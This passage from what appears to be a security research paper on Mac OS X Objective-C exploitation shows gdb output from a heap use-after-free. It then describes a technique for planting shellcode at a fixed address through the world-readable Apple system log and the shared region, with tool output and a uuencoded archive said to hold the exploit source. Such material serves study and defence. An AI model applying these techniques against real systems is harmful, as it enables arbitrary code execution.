talker: 0x103280
talker is: 16 bytes.

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x61616181
0x90c75688 in objc_msgSend ()
(gdb) x/i $pc
0x90c75688 <objc_msgSend+24>:   mov    edi,DWORD PTR [edx+0x20]

As you can see, this instruction (objc_msgSend+24) is our objc_msgSend call 
trying to look up the cache pointer from our object. The ISA pointer in edx
contains the value 61616161 ("aaaa"). This is because our little for loop
of heap allocations, eventually filled in the gaps in the heap, and
overwrote our free'ed object. 

Once we control the ISA pointer in this instruction, the situation is again
identical to a standard heap overflow of an Objective-C object.

I will leave it again as an exercize for the reader to implement this.

------[ 6.1 - Side note: Updated shared_region technique.

In the previous section we used the shared_region technique to store our
code in a fixed location in the address space of our vulnerable
application. However, in order to do so, we required a file that was owned
by root and controllable/readable by us. 

The file that we used:

8 -rw-rw-r--  1 root  admin  4096 Apr 12 17:30 /Applications/.localized

Was only writeable by the admin user, so this isn't really a viable
solution to the problem apple presented us with.

As I said earlier, I've been away from Mac OS X for a while, so I haven't
had a chance to get around this new check, in the past. While I was writing
this paper I was contemplating possible methods of defeating it.

My first thought, was to find a suid which created a root owned file,
controllable by us, and then sigstop it. However I did not find any suids
which met our requirements with this.

I also tried mounting a volume obeying file ownership which contained a
previously created root owned file. However there is a check in the syscall
which makes sure that our file is on the root volume, so that was outed.

Finally I thought about log files. Something like syslog would be perfect
where I could arbitrarily control the contents. The only problem with this
idea is that no one in their right mind would allow their syslog to be
world readable.

This is when I stumbled across the "Apple system log facility." A.S.L?
Amazingly apple took it upon themselves to reinvent the wheel. Apple syslog
is designed to be readable by everyone on the system. By default any user
can see sudo messages etc.

The man page describes ASL as follows:

DESCRIPTION

These routines provide an interface to the Apple system log facility.  They
are intended to be a replacement for the syslog(3) API, which will continue
to be supported for backwards compatibility.  The new API allows client
applications to create flexible, structured messages and send them to the
syslogd server, where they may undergo additional processing.  Messages
received by the server are saved in a data store (subject to input filtering
constraints).  This API permits clients to create queries and search the
message data store for matching messages.

There's even a section on security that seems to think allowing everyone to
view your system log is a good thing...

SECURITY

Messages that are sent to the syslogd server may be saved 
in a message store.  The store may be searched using asl_search, as 
described below.  By default, all messages are readable by any user.
However, some applications may wish to restrict read access for some 
messages.  To accommodate this, a client may set a value for the "ReadUID" 
and "ReadGID" keys.  These keys may be associated with a value
containing an ASCII representation of a numeric UID or GID.  Only the 
root user (UID 0), the user with the given UID, or a member of the group with  
the given GID may fetch access-controlled messages from the database.

So basically we can use the "asl_log()" function to add arbitrary data to
the log file. The log file is stored in /var/log/asl/YYYY.MM.DD.asl and as
you can see below this file is world readable. This works perfect for what
we need.

344 -rw-r--r--  1 root  wheel  172377 Apr 12 18:40
/var/log/asl/2009.04.12.asl

I wrote a tool "14-f-brazil.c" which basically takes some shellcode in
argv[1] then sends it to the latest asl log with asl_log(). It then maps
the last page of the log file straight into the shared section.

I stuck a unique identifier:

        #define NEMOKEY "--((NEMOKEY))--:>>"

before the shellcode in memory, and then just scanned memory in the shared
mapping in the current process in order to locate the key, and therefore 
our shellcode.

Here is the output from running the program:

-[dcbz@megatron:~/code]$ ./14-f-brazil `perl -e'print "\xcc"x20'`
[+] opening logfile: /var/log/asl/2009.04.12.asl.
[+] generating shellcode buffer to log.
[+] writing shellcode to logfile.
[+] creating shared mapping.
[+] file offset: 0x16000
[+] Waiting a bit.
[+] scanning memory for the shellcode... (this may crash).
[+] found shellcode at: 0x9ffff674.


And as you can see in gdb, we have a nopsled at that address.

-[dcbz@megatron:~/code]$ gdb /bin/sh
GNU gdb 6.3.50-20050815 (Apple version gdb-768) 

(gdb) r
Starting program: /bin/sh
^C[Switching to process 342 local thread 0x2e1b]
0x8fe01010 in __dyld__dyld_start () 
Quit
(gdb) x/x 0x9ffff674
0x9ffff674:     0x90909090
(gdb)
0x9ffff678:     0x90909090  
(gdb)
0x9ffff67c:     0x90909090
(gdb)
0x9ffff680:     0x90909090
(gdb)
0x9ffff684:     0x90909090

Andrewg predicts that after this paper Apple will add a check to make sure
that the file is executable, prior to mapping it into the shared section.

Should be interesting to see if they do this. :p

I'll include 14-f-brazil.c in the uuencoded code at the end of this paper.

--[ 6 - Conclusion

Wow I can't believe you guys actually read this far. That was a pretty long
and painful ride. It seems like every time I start writing I remember how much I
dislike writing and vow never to do it again, but after a few months I
always forget and start on another topic. Hopefully this wasn't as dry and
boring in .txt format as it was in .ppt, although I'm definitly missing
lolcat pictures in this version :(.

I would like to take this time to thank the support drone at the Apple shop
who fixed my Macbook for me after it was broken for the last 3 years.
Without his help, there's no way I would have ever finished this paper.

Again I'd like to thank my wife for her support.  Also thanks to
cloudburst/andrewg and the rest of felinemenace as well as various other
people for discussing this stuff with me and allowing me to bounce ideas
off you, TEAM HANZO reprezent! Thanks to dino and thoth for reading over 
the paper before I published it, to make sure I didn't say anything TOO 
stupid. ;-)

Anyone interested enough to read this far should definitly check out the
Mac Hacker's Handbook. I haven't as of yet been able to buy a copy, I guess
they're all sold out in Australia, but from what I've seen so far the book
looks great.

later!

- nemo

--[ 7 - References

[1] -
http://developer.apple.com/documentation/Cocoa/Conceptual/ObjectiveC/  \
                       Introduction/introObjectiveC.html
[2] - 
http://en.wikipedia.org/wiki/Objective-C

[3] - Compiling Objective-C without xcode on OS X.
http://www.w3style.co.uk/compiling-objective-c-without-xcode-in-os-x

[4] -  CLOS: Integrating object-orientated and functional programming.
http://portal.acm.org/citation.cfm?doid=114669.114671

[5] - Objective-C Runtime Source.
http://www.opensource.apple.com/darwinsource/tarballs/apsl/objc4-371.2.tar.gz

[6] - Mach-O File Format
http://developer.apple.com/documentation/DeveloperTools/Conceptual/MachORuntime/Reference/reference.html

[7] - The Objective-C Runtime 2.0:
http://developer.apple.com/DOCUMENTATION/Cocoa/Reference/ObjCRuntimeRef/ObjCRuntimeRef.pdf

[8] - The Objective-C Runtime 1.0:
http://developer.apple.com/DOCUMENTATION/Cocoa/Reference/ObjCRuntimeRef1/ObjCRuntimeRef1.pdf

[9] - Objective-C Runtime Guide:
http://developer.apple.com/DOCUMENTATION/Cocoa/Conceptual/ObjCRuntimeGuide/ObjCRuntimeGuide.pdf

[10] - Objective-C Beginner's Guide
http://www.otierney.net/objective-c.html

[11] - OS X heap exploitation techniques  
http://www.phrack.com/issues.html?issue=63&id=5

[12] - Mac OS X Debugging Magic
http://developer.apple.com/technotes/tn2004/tn2124.html

[13] - Mac OS X wars - a XNU Hope
http://www.phrack.com/issues.html?issue=64&id=11#article

[14] - class-dump
http://www.codethecode.com/projects/class-dump

[15] - OTX 
http://otx.osxninja.com/

[16] - fixobjc.idc
http://nah6.com/~itsme/cvs-xdadevtools/ida/idcscripts/fixobjc.idc

[17] - Charlie Miller - Owning the fanboys
http://www.blackhat.com/presentations/bh-jp-08/bh-jp-08-Miller/BlackHat-Japan-08-Miller-Hacking-OSX.pdf

[18] - F-Script
http://www.fscript.org

[19] - Reverse engineering - PowerPC Cracking on OSX with GDB
http://phrack.org/issues.html?issue=63&id=16#article

[20] - HTE
http://hte.sourceforge.net

--[ 8 - Appendix A: Source code

begin 644 p66-objc.tgz
M'XL(`$M=YDD``^Q=?6P;YWD_V<HL,FHL.\[@=9GU6I$34J;X(5&4(T6)*)M9
MO<@?L.3$CB,P1_(HG4WRB+NC/I*Z\<8(+:%I+3:TP[`,#8:D")9@"X8NV5:@
M=19O3K=TRXH,ZX;^X:[I(C0.XBW&TFU9M>=YWSO>'4E1'Y'E.'E_P.G>>S^>
M]WF_GCO>Z?T]^4BD4TF<3@:$:X<@H+>GAYTC$<?9@!`*A7I#X9Y(&.-#H6`D
M))">:ZA3&05-%U5"A%0R\5B]?,NEWZ#(F^,?"G>F.Q.J^)B<\2?7MPX<X$@X
MO-3X1R+!$!W_((Q_,-P+X]\=ZND22'!]U:B-3_GX!SK<I(-TKA)8QC%A,"(G
M9172%0S>O4:)6.RX+F?DQR2-Z!,2B09&`L-$F]%T*4L\T7P^(Y$1=C6LC'LQ
MOYPCBIJ25*(K)%_0B38A93)))25ABDBF%#63(JHDIL0$%,82JJ+H1)G*22F2
MEC.2CXBY%-:6(UDQKQ%9AY(@#.O'[-J$J$HH8EQ6<OXUMBS@=M\AYY*9`NAU
MCZ:G9,4_<:\S*B,GG''I9$[/5&2;T0)P),5,C01])B]ISNBLF)P(3&;C>571
M:Z3(W?LBF+Q42=;T>!:&59V):Y(Z*:F5>JMR;KR&DKI846$A)T,CG7&B5M$,
M7<Y*&..^(R6EY9Q$AJ(CL7CTP(%C)#A]=QH`UJ*<>#3ZJ[&1@P_'""2&[`DC
M)T?BANYLV.(PLG$<['@N3[KN[G&[0?%"4B?5V?+0'LSUN-N%?1"'[A%3*572
MM+A."'$9%_U6L@;3E:9A,E[8TI1T6I-TENJB"K`8R&(,BUFRC*PX31/Z(1SH
MH%,W,*7*NA20IJ5D`<[[CSP4>/A^G%1+"I%SLFY*64[(V7ZW.PG=0#K&0=6,
M,DY[RN,E;N@#EJ`4=.@P,@#*93)*T@-KW-M/`@'2Z6&+WMM)'E.RXR0AIOQ^
MO]N%`PE*83N-GM:SI$//YB%"!SF8[CE\?'C8BQ'9/$2!7#%#X^_4,59.$P]-
M&2`T(XZ(*R^IJJ)ZVLJ9VS"K2YJ6=4_LQ,'1^/W1@\/'C\4P]BR3`?6GJ5C6
M"!\:*!]I"TR*:@`:&X!)&-ASTK\GZ]^3\L-%FP]TS7NQWJ"S4E-2_3I522^H
M8)1H;?WNLVXWF!/H.#GGP8"8]+$^[1`GO=C#&)E.61VU])340!P;$-`[44BG
M3YDK8,Q,Z(`4'#WH3^=@6O)Q:1(M42Z1+*AJG@ZNAT5XRXL.\F`?>L0DV3U`
MNHS>@!6OISUMIW:/D8(FCDM]9(\&J]ZTN_<^DFOSB9.G@F-6-X58W[BMPGO'
MB)*7<M`R8JB,8OQ8UHQ@D\#C2:<&,*O'B/8=B1\[<.3P\$FO=V"@,^1UN^QC
MA#GKCH]3AW$I)ZFBCFI8-P[L6G9#@2I1)6\_](-I7`['#AUY(':2M'5V>CS&
MA=?;V=EW[[UMMEQ'C@['#N-<HQV?S,]XC$'SF67Z72X7+"&\:2D%E9R19O"6
MQ8PMW'G6")"H*61*(DDQ!_<WN+7!#4T2-3DS`^L2I(/U,54A>V$VJ!GH6U,G
MWUV/3-\=O,O'U/?V@S0P>'`?S2DP_S)2RN^F@V(4@V$.C7G)O0.6+>XTF]Y9
M*;MZ^DQ-P%3$^RQV/=@-,J,4[E(EHJLS."(P`-)T/J-``R!!U:1,^KY'[*-K
M3"L7;9>MBZO;!3%,+1]5V>?4?R]!2<Z9@=;2.2W8?,`IZ#>T@-[)B%,9(@:T
M0.8^-'SF*(`=P<5'39R/L+_1D>'X<.S!V'`\=NR8SUS#514GP5@;-=,'#\,`
MF'4:W2_JY?5PIY:@U@K60H6Y$O5EEH*F^HW[&=5Z@-B7/B3BW<QLDC7&+,UV
M-T/;H27\FD[OA>2><DXON8\$29\CM=,^5T)@8N\DGB\$I]/8%3A[C^0R,W12
M9$1-)WDP,$1)TPC:];1N\Q[)]'KP4/SHL2.C\=B)V/[CHS'R^7+,[email protected]
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
MK[',_[T05N<?%[email protected]/[T0N1:C`JG_>L%]K*UD2[=XW+S.TC]\^EO46`@YR5(
M>_KH\7<?G/X&>X5&/(T]>O*-!Z>_]B-`LAX]>>W!Z:]8Q,=_^@0$\>G%OS\X
M_26JQT=-7NX=K,POF,JLL29^[6=4A?S[-+[-W@);X/'7<0\H/7+=:;VV<W-U
MZ.G.82RSWN_W3(W>X^5FTCU;4WOFNSJN$?:7FF2[KUNPPB2.;7O$/K;T#C',
MGOXFN>2FI9@-J91LSS$])+,''L&%(?%L2I>.'4.*SGC=5/M]),($)'"[J@/\
M'/T>WC,68X\M]M@Z5/LM)&Q9_1BORX9ZH!.V$V0>Z5>O$ZT[L`Z(ZK$K0*`^
M2%6C.TQ8SM&@9^D.KO`(E)R>-'X@(;E/;SW\XT\^^.Q##'R'![J9C-OM9MJF
M]?&_;]7KN[L/JY]]&!-WA0@("`@("`@("`@("`@(O`28[_\C?(($!`0$!`0$
M!`0$!`0$!+X*\/U_ZJ^'_C_=U[G_#_?Y68N%?CX_BH5^/K=BH9]/(Q;Z^?1C
MH9\/>IN@;\\1\/R`Q^,W+'_*X_'L],]CU%>''I'^?23\ATCX823\223\ETCX
M;Y'P/R/A?T7"_XF$\0PYGK>>Y1^$W_K[5NSS^@E-.@9]20>@EJ4?VL/E,E)Q
M;Z"6UK-=_?NWW]Z\F\]F"S'*X4@/?('T0U>'__$H2H0(*NS8SH13T(F+7UF/
MM>BIE)!<X%7`=/^OM/8\RT`OKW*Q..O[WY5RJ1#Q_\JB_U<E5Q;^7^>!-TQ+
MZPTZ.GG+]3JFG>Y>DT:B>F9[-,[0+*\W1G;[email protected]%S=(A&
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
